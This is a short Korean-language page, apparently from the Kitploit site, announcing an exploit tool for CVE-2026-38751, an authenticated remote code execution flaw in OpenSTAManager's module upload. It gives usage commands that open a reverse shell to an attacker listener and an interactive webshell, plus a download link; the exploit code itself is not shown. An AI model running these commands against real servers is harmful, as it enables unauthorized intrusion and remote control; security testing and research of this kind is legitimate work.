CVE-2026-38751 | Kitploit

CVE-2026-38751 — OpenSTAManager Module Upload RCE

모듈 업데이트 엔드포인트에서 검증되지 않은 ZIP 업로드를 통한 인증된 RCE.

영향받는 버전: OpenSTAManager <= 2.10.x

요구 사항

pip install requests

사용법

# Reverse shell (Penelope or any listener)
python3 exploit.py -u http://TARGET -U admin -P admin --lhost 10.10.14.X --lport 4444

# Interactive webshell
python3 exploit.py -u http://TARGET -U admin -P admin --interactive

참고 자료

NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-38751

면책 조항

공인된 침투 테스트 및 교육 목적으로만 사용하십시오.

도구 다운로드